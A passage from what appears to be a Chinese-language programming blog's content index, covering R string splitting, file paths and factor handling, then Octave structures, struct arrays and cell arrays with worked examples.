若要將一個字串分割成多個字串，可以使用 strsplit 函數，第一個參數是輸入的字串，而第二個參數則是分隔字串：\nstrsplit(\u0026#34;foo,bar,Foo,BAR\u0026#34;, \u0026#34;,\u0026#34;) [[1]] [1] \"foo\" \"bar\" \"Foo\" \"BAR\" strsplit 函數預設會使用正規表示法（regular expression）來匹配分隔字串，如果要將指定的分隔字串視為一般的文字，可以加上 fixed = TRUE 參數。\nstrsplit(\u0026#34;foo+bar+Foo+BAR\u0026#34;, \u0026#34;+\u0026#34;, fixed = TRUE) [[1]] [1] \"foo\" \"bar\" \"Foo\" \"BAR\" strsplit 函數的輸出是一個列表（list），這樣設計的原因在於處理向量時，每一個結果的長度可能會不同：\nx.str \u0026lt;- c(\u0026#34;foo bar Foo BAR\u0026#34;, \u0026#34;abc def\u0026#34;) strsplit(x.str, \u0026#34; \u0026#34;, fixed = TRUE) [[1]] [1] \"foo\" \"bar\" \"Foo\" \"BAR\" [[2]] [1] \"abc\" \"def\" 這是一個使用正規表示法的例子，使用逗號、句點或空白作為分隔字元：\nstrsplit(\u0026#34;foo,bar.Foo BAR\u0026#34;, \u0026#34;[,. ]\u0026#34;) [[1]] [1] \"foo\" \"bar\" \"Foo\" \"BAR\" 檔案路徑 在 R 中我們可以藉由 getwd 函數取得目前的工作目錄，在存取檔案時若沒有特別指定路徑的話，就會以這個路徑為準。\ngetwd() [1] \"d:/workspace\" 我們可以使用 setwd 函數來更改工作目錄：\nsetwd(\u0026#34;c:/mypath\u0026#34;) getwd() [1] \"c:/mypath\" 這裡我們使用正斜線（/）來區隔路徑，而如果要使用 Windows 慣用的反斜線也可以，只是在輸入反斜線時，要使用跳脫字元：\nsetwd(\u0026#34;c:\\\\mypath\u0026#34;) 另外我們也可以使用 file.path 函數來從各個目錄名稱來建立完整的路徑：\nfile.path(\u0026#34;c:\u0026#34;, \u0026#34;Program Files\u0026#34;, \u0026#34;R\u0026#34;) [1] \"c:/Program Files/R\" R.home 可以顯示 R 的安裝路徑：\nR.home() [1] \"C:/PROGRA~1/R/R-32~1.4\" basename 可以從一串完整路徑中取出不包含路徑的檔案名稱：\nbasename(\u0026#34;C:/Users/GTWang/Documents\u0026#34;) [1] \"Documents\" 因子（Factor） R 的因子（factor）變數是專門用來儲存類別資料的變數，它同時具有字串與整數的特性。\n建立因子變數 若要建立一個因子變數，可以使用 factor 函數：\ncolors \u0026lt;- c(\u0026#34;red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;) colors.factor \u0026lt;- factor(colors) colors.factor [1] red yellow green red green Levels: green red yellow 因子變數在輸出時，看起來跟一般的字元向量類似，而最後一行的 levels 會列出這個因子變數所有的類別。我們可以使用 levels 這個函數取得因子的 levels：\nlevels(colors.factor) [1] \"green\" \"red\" \"yellow\" nlevels 則可以取得因子 levels 的數量：\nnlevels(colors.factor) [1] 3 在建立因子變數時，可以使用 levels 參數指定 levels 的排列順序：\ncolors.factor2 \u0026lt;- factor(colors, levels = c(\u0026#34;red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;)) colors.factor2 [1] red yellow green red green Levels: red yellow green labels 參數則可以指定個類別的名稱：\ncolors.factor3 \u0026lt;- factor(colors, levels = c(\u0026#34;red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;), labels = c(\u0026#34;R\u0026#34;, \u0026#34;Y\u0026#34;, \u0026#34;G\u0026#34;)) colors.factor3 [1] R Y G R G Levels: R Y G 在建立 data frame 時，R 預設會將文字的資料轉為因子：\nvalues \u0026lt;- c(12, 54, 23, 83, 2) colors \u0026lt;- c(\u0026#34;red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;) my.table \u0026lt;- data.frame(values, colors) my.table values colors 1 12 red 2 54 yellow 3 23 green 4 83 red 5 2 green class(my.table$colors) [1] \"factor\" 改變因子的 Levels 因子變數中的元素值只能是 levels 中的其中一種或是缺失值（NA），如果將因子的元素指定為其他的字串，該元素就會被設定為缺失值，並產生警告訊息：\ncolors.factor[1] \u0026lt;- \u0026#34;blue\u0026#34; Warning message: In `[\u0026lt;-.factor`(`*tmp*`, 1, value = \"blue\") : invalid factor level, NA generated colors.factor [1] \u0026lt;NA\u0026gt; yellow green red green Levels: green red yellow 如果要新增一個 levels 中沒有的類別資料，可以先使用 levels 函數先新增一個 level，再指定新的值：\ncolors.levels \u0026lt;- levels(colors.factor) levels(colors.factor) \u0026lt;- c(colors.levels, \u0026#34;blue\u0026#34;) colors.factor[1] \u0026lt;- \u0026#34;blue\u0026#34; colors.factor [1] blue yellow green red green Levels: green red yellow blue 在更動因子變數的 levels 時，要注意其排列的順序，新增的 level 要放在最後面，如果順序搞錯會造成資料錯誤，若要避免順序錯亂的問題，可以使用 list 的方式指定：\nlevels(colors.factor) \u0026lt;- list( blue = \u0026#34;blue\u0026#34;, green = \u0026#34;green\u0026#34;, red = \u0026#34;red\u0026#34;, yellow = \u0026#34;yellow\u0026#34;) colors.factor[1] \u0026lt;- \u0026#34;blue\u0026#34; colors.factor [1] blue yellow green red green Levels: blue green red yellow relevel 可以重新排序因子變數的 levels，將指定的 level 放在第一個位置：\nrelevel(colors.factor, \u0026#34;red\u0026#34;) [1] blue yellow green red green Levels: red blue green yellow 移除因子的 Levels 有時候在處理一些原始的文字資料時，會出現類似這樣英文大小寫不統一的狀況：\ncolors.raw \u0026lt;- c(\u0026#34;Red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;) colors.factor \u0026lt;- factor(colors.raw) colors.factor [1] Red yellow green red green Levels: green red Red yellow 而經過修正之後，就會出現一些沒有用的 levels。\ncolors.factor[1] \u0026lt;- \u0026#34;red\u0026#34; unique(colors.factor) [1] red yellow green Levels: green red Red yellow 若要移除因子變數中沒有用到的 levels，可以使用 droplevels 函數：\ncolors.factor \u0026lt;- droplevels(colors.factor) colors.factor [1] red yellow green red green Levels: green red yellow droplevels 也可以直接處理 data frame 之內的因子欄位：\ncolors.raw \u0026lt;- c(\u0026#34;Red\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;red\u0026#34;, \u0026#34;green\u0026#34;) values \u0026lt;- c(12, 54, 23, 83, 2) my.table2 \u0026lt;- data.frame(values, colors.raw) my.table2$colors.raw [1] Red yellow green red green Levels: green red Red yellow my.table2$colors.raw[1] \u0026lt;- \u0026#34;red\u0026#34; unique(my.table2$colors.raw) [1] red yellow green Levels: green red Red yellow my.table2 \u0026lt;- droplevels(my.table2) my.table2$colors.raw [1] red yellow green red green Levels: green red yellow 有序因子 有一些資料雖然是類別型的資料，但是不同類別之間是可以比較的，這種有順序性的類別資料可以使用有序因子來儲存，最常見的例子就是問卷調查的資料，例如滿意度的評價可分為非常差（worst）、差（bad）、普通（so-so）、好（good）與非常好（perfect）：\nchoices \u0026lt;- c(\u0026#34;worst\u0026#34;, \u0026#34;bad\u0026#34;, \u0026#34;so-so\u0026#34;, \u0026#34;good\u0026#34;, \u0026#34;perfect\u0026#34;) samples \u0026lt;- sample(choices, 10, replace = TRUE) samples.factor \u0026lt;- factor(samples, levels = choices) samples.factor [1] perfect so-so perfect good perfect [6] worst worst so-so good so-so Levels: worst bad so-so good perfect 若遇到這樣的資料，可以改用 ordered 函數來建立有序的因子變數（或是在呼叫 factor 函數時加入 ordered = TRUE 也可以）：\nsamples.ordered \u0026lt;- ordered(samples, levels = choices) samples.ordered [1] perfect so-so perfect good perfect worst [7] worst so-so good so-so Levels: worst \u0026lt; bad \u0026lt; so-so \u0026lt; good \u0026lt; perfect 有序因子也是屬於因子變數：\nis.factor(samples.ordered) [1] TRUE 有序的因子跟一般的因子變數的使用方式都相同，唯一的差異就只是它的 levels 有順序性而已。\n將連續型變數轉換為離散型變數 如果要看一群連續型資料大致的分佈，可以將其轉換為離散的群組，這樣會比較容易一眼看出整個分布狀況：\ngrouped \u0026lt;- cut(iris$Sepal.Length, seq(4.3, 7.9, 4)) head(grouped) [1] (4.3,5.2] (4.3,5.2] (4.3,5.2] (4.3,5.2] (4.3,5.2] (5.2,6.1] Levels: (4.3,5.2] (5.2,6.1] (6.1,7] (7,7.9] table(grouped) grouped (4.3,5.2] (5.2,6.1] (6.1,7] (7,7.9] 45 50 43 12 這個作用跟使用 hist 函數畫直方圖相同。\n將離散型變數轉換為連續型變數 有些時候我們拿到的原始資料有一些錯誤（例如打字上的錯誤），造成 R 在讀入資料時，將數值當成字串讀入，然後自動轉換為因子，而這種變數若直接使用 as.numeric 轉換為數值的話，會出現錯誤：\nraw \u0026lt;- data.frame( x = c(\u0026#34;1.23\u0026#34;, \u0026#34;4..56\u0026#34;, \u0026#34;7.89\u0026#34;) ) as.numeric(raw$x) [1] 1 2 3 這裡的 as.numeric 是將因子變數內部代表各類別的數值資料直接取出，但這並不是我們想要的結果。我們可以將因子先轉換為字串，再轉為數值：\nas.numeric(as.character(raw$x)) [1] 1.23 NA 7.89 Warning message: 強制變更過程中產生了 NA 而根據 R 的 FAQ 說明文件，比較好的做法是像下面這種，這個寫法的執行效率會比較高：\nas.numeric(levels(raw$x))[as.integer(raw$x)] [1] 1.23 NA 7.89 Warning message: 強制變更過程中產生了 NA 產生因子的 Levels gl 函數可以依據指定的樣式來產生因子變數，第一個參數 n 是指定因子的 level 數目，而第二個參數 k 則是指定每個 level 出現的次數：\ngl(n = 2, k = 8) [1] 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 labels 參數可以用來指定各個 levels 的名稱：\ngl(n = 2, k = 8, labels = c(\u0026#34;Control\u0026#34;, \u0026#34;Treat\u0026#34;)) [1] Control Control Control Control Control Control Control Control Treat [10] Treat Treat Treat Treat Treat Treat Treat Levels: Control Treat length 參數可以指定產生的因子變數長度：\ngl(n = 2, k = 2, length = 8, labels = c(\u0026#34;Control\u0026#34;, \u0026#34;Treat\u0026#34;)) [1] Control Control Treat Treat Control Control Treat Treat Levels: Control Treat 結合因子變數 如果要將兩個（或多個）因子變數結合，可以使用 interaction 函數：\na \u0026lt;- gl(2, 4, 8) a [1] 1 1 1 1 2 2 2 2 Levels: 1 2 b \u0026lt;- gl(2, 2, 8, labels = c(\u0026#34;ctrl\u0026#34;, \u0026#34;treat\u0026#34;)) b [1] ctrl ctrl treat treat ctrl ctrl treat treat Levels: ctrl treat interaction(a, b) [1] 1.ctrl 1.ctrl 1.treat 1.treat 2.ctrl 2.ctrl 2.treat 2.treat Levels: 1.ctrl 2.ctrl 1.treat 2.treat 超過兩個因子變數的情況也可以使用 interaction 處理，而 sep 參數可以指定結合 level 時的分隔符號。\ns \u0026lt;- gl(2, 1, 8, labels = c(\u0026#34;M\u0026#34;, \u0026#34;F\u0026#34;)) s [1] M F M F M F M F Levels: M F interaction(a, b, s, sep = \u0026#34;:\u0026#34;) [1] 1:ctrl:M 1:ctrl:F 1:treat:M 1:treat:F 2:ctrl:M 2:ctrl:F 2:treat:M [8] 2:treat:F 8 Levels: 1:ctrl:M 2:ctrl:M 1:treat:M 2:treat:M 1:ctrl:F ... 2:treat:F ","permalink":"https://blog.gtwang.org/r/r-strings-and-factors/","summary":"\u003cp\u003e在處理資料時，除了數值資料之外，文字資料也是很常見的資料類型，尤其是在整理第一手的原始資料時，通常都會有非常大量的文字資料需要處理，而因子則是用於儲存類別型式的資料（categorical data），它的性質介於整數與字元變數之間，以下我們將介紹 R 的字串與因子使用方式。\u003c/p\u003e","title":"R 字串與因子"},{"content":"在 Octave 中提供兩種方式可以將多種不同的資料儲存在同一個變數中，一種是類似 C 語言的資料結構（data structure），資料結構中的元素都有對應的名稱；另一種是巢狀陣列（cell array），巢狀陣列中可以包含任意類型與各種維度的資料。而函數的參數與傳回值是以逗點分隔序列（comma separated list）來儲存與傳遞。\n資料結構（Data Structures） Octave 中可以使用資料結構（data structure）將不同的資料儲存在一個變數中，使用上的語法非常類似 C 語言中的結構（structure）。目前其內部是以關聯性陣列的方式實做，而索引限定為字串。\n基本用法與範例（Basic Usage and Examples） 資料結構中的欄位可以儲存各種類型的資料，而變數與其欄位名稱中間以句點連接，例如：\nx.a = 1; x.b = [1, 2; 3, 4]; x.c = \u0026#34;string\u0026#34;; 這樣會建立一個包含三個欄位的資料結構 x，而 x 中的欄位 a 儲存一個純量，其值為 1，另外兩個欄位 b 與 c 分別為矩陣與字串。若要查看其中的資料，可以像一般的變數一樣輸入其變數名稱：\nx 輸出為\nx = { a = 1 b = 1 2 3 4 c = string } Octave 在輸出資料結構時，其欄位的順序是不固定的。\n資料結構中的欄位也可以指定為另一個資料結構，例如指定 x.d 為另一個資料結構：\nx.d.d1 = 3; x.d.d2 = [1, 2]; x.d 輸出為\nans = { d1 = 3 d2 = 1 2 } 這時的 x 包含了另一個資料結構：\nx 輸出為\nx = { a = 1 b = 1 2 3 4 c = string d = { d1 = 3 d2 = 1 2 } } 當 Octave 在輸出資料結構中又有包含其他的資料結構時，只會輸出最上面的幾層，例如：\na.b.c.d.e = 1; a 輸出為\na = { b = { c = { 1x1 struct array containing the fields: d: 1x1 struct } } } 限制輸出層數的原因是為了避免產生太長而難以閱讀輸出格式，輸出的層數可以使用 struct_levels_to_print() 函數設定。\nval = struct_levels_to_print () old_val = struct_levels_to_print (new_val) 設定資料結構的輸出層數上限。\n函數的傳回值類型也可以是資料結構，例如：\nfunction y = f (x) y.re = real (x); y.im = imag (x); endfunction 此函數 f(x) 會將輸入的複數純量或矩陣分開成實部與虛部分別儲存在兩個資料結構的欄位中，並傳回之，例如：\nf([1+2i, 2+10i]) 輸出為\nans = { re = 1 2 im = 2 10 } 函數的傳回值若是逗點分隔序列，也可以使用資料結構儲存，其使用方式就像一般變數一樣：\n[ result.u, result.s(2:3,2:3), result.v ] = svd ([1, 2; 3, 4]); result 輸出為\nresult = { u = -0.40455 -0.91451 -0.91451 0.40455 s = 0.00000 0.00000 0.00000 0.00000 5.46499 0.00000 0.00000 0.00000 0.36597 v = -0.57605 0.81742 -0.81742 -0.57605 } 資料結構中的欄位亦可以使用 for 迴圈依序存取，請參考 Octave 敘述（Statements）。\n結構陣列（Structure Arrays） 結構陣列（structure arrays）是一種特別的資料結構，此結構的欄位是以巢狀陣列（cell arrays）表示，每一個巢狀陣列有相同的維度。結構陣列亦可視為資料結構所構成的陣列，而陣列中的資料結構所擁有的欄位皆相同。例如：\nx(1).a = \u0026#34;string1\u0026#34;; x(2).a = \u0026#34;string2\u0026#34;; x(1).b = 1; x(2).b = 2; 這樣會建立一個 2 乘 1 的結構陣列，其包含兩個欄位。另一種建立結構陣列的方式是使用 struct() 函數（請參考建立結構）。若要顯示結構陣列中的資料，就像一般變數一樣輸入結構陣列的名稱即可：\nx 輸出為\nx = { 1x2 struct array containing the fields: a b } 要存取結構陣列中的元素，可以使用索引的方式，例如：\nx(1) 這樣會傳回兩個欄位的資料結構，輸出為\nans = { a = string1 b = 1 } 若直接指定結構陣列中的欄位，則會將此欄位的資料以逗點分隔序列（請參考逗點分隔序列）的格式傳回，例如：\nx.a 輸出為\nans = string1 ans = string2 亦可使用逗點分隔序列的方式指定結構陣列中的資料：\n[x.a] = deal(\u0026#34;new string1\u0026#34;, \u0026#34;new string2\u0026#34;); 這會設定 x(1).a 與 x(2).a 的資料：\nx(1).a 輸出為\nans = new string1 x(2).a 輸出為\nans = new string2 結構陣列與一般數值陣列一樣可以使用向量作為為索引：\nx(3:4) = x(1:2); [x([1,3]).a] = deal(\u0026#34;other string1\u0026#34;, \u0026#34;other string2\u0026#34;); x.a 輸出為\nans = other string1 ans = new string2 ans = other string2 ans = new string2 size() 函數可以輸出資料結構的維度，例如：\nsize(x) 輸出為\nans = 1 4 若要刪除結構陣列中的元素可以將其指定為空矩陣（empty matrix），此用法與一般數值陣列相同，例如：\nin = struct (\u0026#34;call1\u0026#34;, {x, Inf, \u0026#34;last\u0026#34;}, \u0026#34;call2\u0026#34;, {x, Inf, \u0026#34;first\u0026#34;}) 輸出為\nin = { 1x3 struct array containing the fields: call1 call2 } 將第一個元素刪除：\nin(1) = []; in.call1 輸出為\nans = Inf ans = last size(in) 輸出為\nans = 1 2 建立結構（Creating Structures） 要建立資料結構除了使用句點（.）的方式之外，亦可使用 struct() 函數來建立資料結構。struct() 函數的輸入參數是兩兩一對：第一個是資料結構的欄位名稱，配上第二個儲存資料的純量（scalar）或巢狀陣列（cell array），例如：\nstruct (\u0026#34;field1\u0026#34;, 1, \u0026#34;field2\u0026#34;, 2) 輸出為\nans = { field1 = 1 field2 = 2 } 若 struct() 輸入的參數中，儲存資料的參數同時含有純量與巢狀陣列時，Octave 會將純量自動轉變為相同大小的巢狀陣列，例如：\ns = struct (\u0026#34;field1\u0026#34;, {1, \u0026#34;one\u0026#34;}, \u0026#34;field2\u0026#34;, {2, \u0026#34;two\u0026#34;}, \u0026#34;field3\u0026#34;, 3); 資料結構 s 的內容如下：\ns.field1 輸出為\nans = 1 ans = one s.field2 輸出為\nans = 2 ans = two s.field3 輸出為\nans = 3 ans = 3 若要建立包含一個獨立巢狀陣列的資料結構，必須將巢狀陣列放入另一個巢狀陣列中，例如：\nstruct (\u0026#34;field1\u0026#34;, {{1, \u0026#34;one\u0026#34;}}, \u0026#34;field2\u0026#34;, 2) 輸出為\nans = { field1 = { [1,1] = 1 [1,2] = one } field2 = 2 } struct (\u0026#34;field\u0026#34;, value, \u0026#34;field\u0026#34;, value, ...) struct() 函數可以建立資料結構並初始化所儲存的資料。 若參數 value 是巢狀陣列，則會建立結構陣列，其中所有的巢狀陣列必須有相同的維度，單一元素的巢狀陣列或是純量會被自動複製成相同長度的巢狀陣列。若 value 指定為空巢狀陣列，則會產生空結構陣列。\nstruct() 函數的參數若指定為物件，則會傳回此物件內部的資料結構。\nisstruct (expr) isstruct(expr) 函數會判斷 expr 是否為資料結構。\n結構操作（Manipulating Structures） 這裡列出一些用於操作資料結構欄位的函數。\nrmfield (s, f) rmfield(s, f) 函數會將資料結構 s 中的 f 欄位刪除，若 f 為字串的巢狀陣列或字元矩陣，則會將對應的欄位刪除。例如：\ns = struct (\u0026#34;field1\u0026#34;, 1, \u0026#34;field2\u0026#34;, 2, \u0026#34;field3\u0026#34;, 3, \u0026#34;field4\u0026#34;, 4); s2 = rmfield(s, [\u0026#34;field1\u0026#34;; \u0026#34;field3\u0026#34;]) 輸出為\ns2 = { field2 = 2 field4 = 4 } [k1, ..., v1] = setfield (s, k1, v1, ...) setfield(s, k1, v1) 會將資料結構 s 中欄位 k1 的值指定為 v1，並傳回新的資料結構。若欄位 k1 不存在，則會自動新增此欄位，例如：\ns = struct (\u0026#34;field1\u0026#34;, 1, \u0026#34;field2\u0026#34;, 2); s2 = setfield(s, \u0026#34;new_field\u0026#34;, \u0026#34;new\u0026#34;) 輸出為\ns2 = { field1 = 1 field2 = 2 new_field = new } 其功用相當於：\ns = struct(\u0026#34;field1\u0026#34;, 1, \u0026#34;field2\u0026#34;, 2); s2 = s; s2.new_field = \u0026#34;new\u0026#34; 若是多層次的資料結構，則依序將欄位與索引填入參數中，例如：\nsa(1, 1).f0 = 1; sa2 = setfield (sa, {1, 2}, \u0026#34;fd\u0026#34;, {3}, \u0026#34;b\u0026#34;, 6); 其功用相當於：\nsa(1, 1).f0 = 1; sa2 = sa; sa2(1, 2).fd(3).b = 6; 亦可使用另一種寫法：\nsa(1, 1).f0 = 1; sa2 = sa; i1 = {1,2}; i2 = \u0026#34;fd\u0026#34;; i3 = {3}; i4 = \u0026#34;b\u0026#34;; sa2(i1{:}).(i2)(i3{:}).(i4) = 6; [t, p] = orderfields (s1, s2) orderfields(s1, s2) 函數會將資料結構 s1 的欄位依照 s2 所指定的順序排序後，傳回新的資料結構，若省略 s2 則會以字母的順序排序。參數 s2 可以是資料結構、字串的巢狀陣列或是排序向量。例如：\ns1 = struct (\u0026#34;f1\u0026#34;, 1, \u0026#34;f2\u0026#34;, 2, \u0026#34;f3\u0026#34;, 3, \u0026#34;f4\u0026#34;, 4); s2 = struct (\u0026#34;f4\u0026#34;, 40, \u0026#34;f1\u0026#34;, 10, \u0026#34;f2\u0026#34;, 20, \u0026#34;f3\u0026#34;, 30); 將 s1 以 s2 的順序排序：\norderfields(s1, s2) 輸出為\nans = { f4 = 4 f1 = 1 f2 = 2 f3 = 3 } 以字串的巢狀陣列指定排序方式：\norderfields(s1, {\u0026#34;f2\u0026#34;, \u0026#34;f3\u0026#34;, \u0026#34;f4\u0026#34;, \u0026#34;f1\u0026#34;}) 輸出為\nans = { f2 = 2 f3 = 3 f4 = 4 f1 = 1 } 以排序向量指定排序方式：\norderfields(s1, [3, 1, 4, 2]) 輸出為\nans = { f3 = 3 f1 = 1 f4 = 4 f2 = 2 } fieldnames (struct) fieldnames(struct) 函數會傳回資料結構 struct 的所有欄位名稱。若指定的 struct 不是資料結構，則會產生錯誤。例如：\ns = struct (\u0026#34;f1\u0026#34;, 1, \u0026#34;f2\u0026#34;, 2, \u0026#34;f3\u0026#34;, 3, \u0026#34;f4\u0026#34;, 4); fieldnames(s) 輸出為\nans = { [1,1] = f1 [2,1] = f2 [3,1] = f3 [4,1] = f4 } isfield (expr, name) isfield(expr, name) 函數會測試資料結構 expr 中是否包含名稱為 name 的欄位，參數 expr 為資料結構，而 name 為字串。例如：\ns = struct (\u0026#34;f1\u0026#34;, 1, \u0026#34;f2\u0026#34;, 2, \u0026#34;f3\u0026#34;, 3, \u0026#34;f4\u0026#34;, 4); isfield(s, \u0026#34;f2\u0026#34;) 輸出為\nans = 1 [v1, ...] = getfield (s, key, ...) getfield(s, key, ...) 函數會取出資料結構 s 中指定欄位的資料，例如：\ns = struct (\u0026#34;f1\u0026#34;, 1, \u0026#34;f2\u0026#34;, 2, \u0026#34;f3\u0026#34;, 3, \u0026#34;f4\u0026#34;, 4); getfield(s, \u0026#34;f3\u0026#34;) 輸出為\nans = 3 多層次的資料結構：\nss(1,2).fd(3).b = 5; getfield (ss, {1,2}, \u0026#34;fd\u0026#34;, {3}, \u0026#34;b\u0026#34;) 輸出為\nans = 5 亦可使用另一種寫法：\ni1 = {1,2}; i2 = \u0026#34;fd\u0026#34;; i3 = {3}; i4= \u0026#34;b\u0026#34;; ss(i1{:}).(i2)(i3{:}).(i4) substruct (type, subs, ...) substruct() 函數會建立一個 subscript structure，用於 subsref() 或 subsasgn() 函數。\n結構的資料處理（Processing Data in Structures） 要處理資料結構中的資料，最簡單的方式就是使用 for 迴圈（請參考 Octave 敘述（Statements））。另外也可以使用 structfun() 函數達到類似的功能，此函數可以將指定的函數套用至資料結構中的每個元素。\nstructfun (func, s) [a, b] = structfun (...) structfun (..., \u0026#34;ErrorHandler\u0026#34;, errfunc) structfun (..., \u0026#34;UniformOutput\u0026#34;, val) structfun(func, s) 函數會將函數 func 套用至資料結構 s 中的每個元素，s 中的每個元素會個別傳入 func 函數中執行。func 可以接受各種函數的形式，包含 inline function、function handle 或函數名稱（字串）。例如：\ns = struct(\u0026#34;f1\u0026#34;, 1, \u0026#34;f2\u0026#34;, 2, \u0026#34;f3\u0026#34;, 3); structfun (@(x) x * 2 + 1, s) 這會將資料結構 s 中所有的值乘以 2 再加 1，輸出為\nans = 3 5 7 若參數 \u0026quot;UniformOutput\u0026quot; 設定為 true，則 func 所指定的函數必須傳回一個純量，這些純量會被連接起來而產生一個陣列，若設為 false，則 structfun() 的輸出將會是一個與輸入資料結構 s 有相同欄位的資料結構，其中的值是將 s 中的元素經過 func 函數處理後，再放進輸出資料結構的對應欄位中，在這種情況下輸出的資料形態是沒有限制的。例如：\ns.name1 = \u0026#34;John Smith\u0026#34;; s.name2 = \u0026#34;Jill Jones\u0026#34;; structfun (@(x) regexp (x, \u0026#39;(w+)$\u0026#39;, \u0026#34;matches\u0026#34;){1}, s, \u0026#34;UniformOutput\u0026#34;, false) 輸出為\nans = { name1 = Smith name2 = Jones } \u0026quot;ErrorHandler\u0026quot; 參數可以將其後方的 errfunc 設定為錯誤處理函數，當 func 函數產生錯誤時，就會呼叫這個函數，此函數的格式為：\nfunction [...] = errfunc (se, ...) 其中傳入的參數 se 是一個資料結構，其包含的欄位有：\u0026quot;identifier\u0026quot;、\u0026quot;message\u0026quot; 與 \u0026quot;index\u0026quot;，分別代表錯誤的代碼與訊息，以及錯誤發生的資料位置。\nstruct2cell (s) struct2cell(s) 函數會將資料結構 s 轉為巢狀陣列（cell array），若 f 為資料結構 s 的欄位數，則轉換出來的巢狀陣列維度為 [f size(s)]。例如：\ns = struct(\u0026#34;f1\u0026#34;, \u0026#34;abcd\u0026#34;, \u0026#34;f2\u0026#34;, \u0026#34;1234\u0026#34;); struct2cell(s) 輸出為\nans = { [1,1] = abcd [2,1] = 1234 } 巢狀陣列（Cell Arrays） 在儲存資料時常常會需要將各種不同類型的資料除存在一個變數中，巢狀陣列就是為了這個需求而設計的。在一般的情況下巢狀陣列的使用方式與一般的陣列是一樣的，唯一的不同在於巢狀陣列在建立與索引時是使用大括弧（{}）。\n基本巢狀陣列（Basic Usage of Cell Arrays） 巢狀陣列的使用方式與陣列類似，差異只在其使用的是大括弧，例如：\nc = {\u0026#34;a string\u0026#34;, rand(2, 2)}; 要存取巢狀陣列中的元素可以使用大括弧做為索引運算字，例如要取得 c 的第一個元素：\nc{1} 輸出為\nans = a string 巢狀陣列與一般陣列一樣可以使用向量索引存取多個元素，例如：\nc{1:2} 輸出為\nans = a string ans = 0.730203 0.099916 0.864092 0.812627 索引運算子也可以用來新增巢狀陣列的元素，例如在巢狀陣列 c 中第三個位置新增一個元素 3：\nc{3} = 3 輸出為\nc = { [1,1] = a string [1,2] = 0.730203 0.099916 0.864092 0.812627 [1,3] = 3 } 關於更詳細的巢狀陣列索引說明可參考巢狀陣列索引。\n在一般的情況下，巢狀陣列會以階層的方式輸出（就像上面的範例一樣），若是需要以索引的方式輸出可以使用 celldisp() 函數。\ncelldisp (c, name) celldisp(c, name) 函數會以遞迴的方式輸出巢狀陣列 c，輸出時的名稱可以使參數 name 指定，若省略 name 參數則使用參數 c 做為輸出名稱。例如輸出上面所建立的巢狀陣列 c：\ncelldisp(c) 輸出為\nc{1} = a string c{2} = 0.730203 0.099916 0.864092 0.812627 c{3} = 3 iscell (x) iscell(x) 函數會判斷 x 是否為巢狀陣列，例如：\niscell(c) 輸出為\nans = 1 iscell(3) 輸出為\nans = 0 建立巢狀陣列（Creating Cell Arrays） 在基本巢狀陣列中已經介紹過如何使用已存在的資料建立一個巢狀陣列，然而在某些形況下會需要先建立一個巢狀陣列，而其中的資料隨後才會指定，此時可以使用 cell() 函數先產生指定維度的巢狀陣列，此函數的功能類似 zeros() 函數，由 cell() 函數所產生的巢狀陣列其所有的元素皆為空陣列。例如：\nc = cell(2,2) 輸出為\nc = { [1,1] = [](0x0) [2,1] = [](0x0) [1,2] = [](0x0) [2,2] = [](0x0) } 巢狀陣列與一般陣列一樣可以是多維度的，cell() 函數可以接受任何個數的正整數來指定所產生巢狀陣列的維度，亦可使用向量來指定其維度，例如：\nc1 = cell(3, 4, 5); c2 = cell( [3, 4, 5] ); 所產生的 c1 與 c2 是相同的巢狀陣列，要查看其維度可用 size() 函數：\nsize(c1) 輸出為\nans = 3 4 5 除了 size() 函數之外，一般查詢物件大小的函數都可使用於巢狀陣列上，例如：length、 numel、 rows() 與 columns()。\ncell (x) cell (n, m) cell ([n, m]) cell (n, m, p, ...) cell ([n, m, p, ...]) cell(x) 會建立一個 x 乘 x 的巢狀陣列；cell(n, m) 或 cell([n, m]) 會建立 n 乘 m 的巢狀陣列；cell(n, m, p, ...) 或 cell([n, m, p, ...]) 會建立多維度的巢狀陣列。\n若要將數值陣列轉換為巢狀陣列，可以使用 num2cell() 與 mat2cell() 函數。\nc = num2cell (m) c = num2cell (m, dim) num2cell(m, dim) 會將數值矩陣 m 轉換為巢狀陣列，若有設定 dim 參數，則所傳回的巢狀陣列 c 的第 dim 個維度會是 1，而 c 中的元素則會是向量，例如：\na = [1,2,3;4,5,6]; 將矩陣 a 轉為巢狀陣列：\nnum2cell(a) 輸出為\nans = { [1,1] = 1 [2,1] = 4 [1,2] = 2 [2,2] = 5 [1,3] = 3 [2,3] = 6 } num2cell(a, 1) 輸出為\nans = { [1,1] = 1 4 [1,2] = 2 5 [1,3] = 3 6 } num2cell(a, 2) 輸出為\nans = { [1,1] = 1 2 3 [2,1] = 4 5 6 } b = mat2cell (a, m, n) b = mat2cell (a, d1, d2, ...) b = mat2cell (a, r) mat2cell(a, m, n) 會將矩陣 a 轉換為巢狀陣列，參數 m 與 n 是指定如何分割矩陣 a，例如：\na = [1, 2, 3, 4, 5; 6, 7, 8, 9, 10; 11, 12, 13, 14, 15]; 將矩陣 a 以圖中所表示的方法分割後轉為巢狀陣列：\nmat2cell(a, [1, 2], [2, 3]) 輸出為\nans = { [1,1] = 1 2 [2,1] = 6 7 11 12 [1,2] = 3 4 5 [2,2] = 8 9 10 13 14 15 } 在 mat2cell(a, m, n) 中 m 的總和必須等於矩陣 a 的第一個維度，n 的總和必須等於矩陣 a 的第二個維度，更高維度的情況以此類推。\n若只指定一個維度 r，則其餘的維度會被設定為 a 的維度，即第 i 個維度設為 size(a, i)，例如：\nmat2cell(a, [1, 2]) 輸出為\nans = { [1,1] = 1 2 3 4 5 [2,1] = 6 7 8 9 10 11 12 13 14 15 } 巢狀陣列索引（Indexing Cell Arrays） 在基本巢狀陣列中提到過巢狀陣列的元素可以使用大括號 {} 來存取，但若是使用者需要將巢狀陣列中的元素取出並依然保持巢狀陣列，則可以使用小括號 () 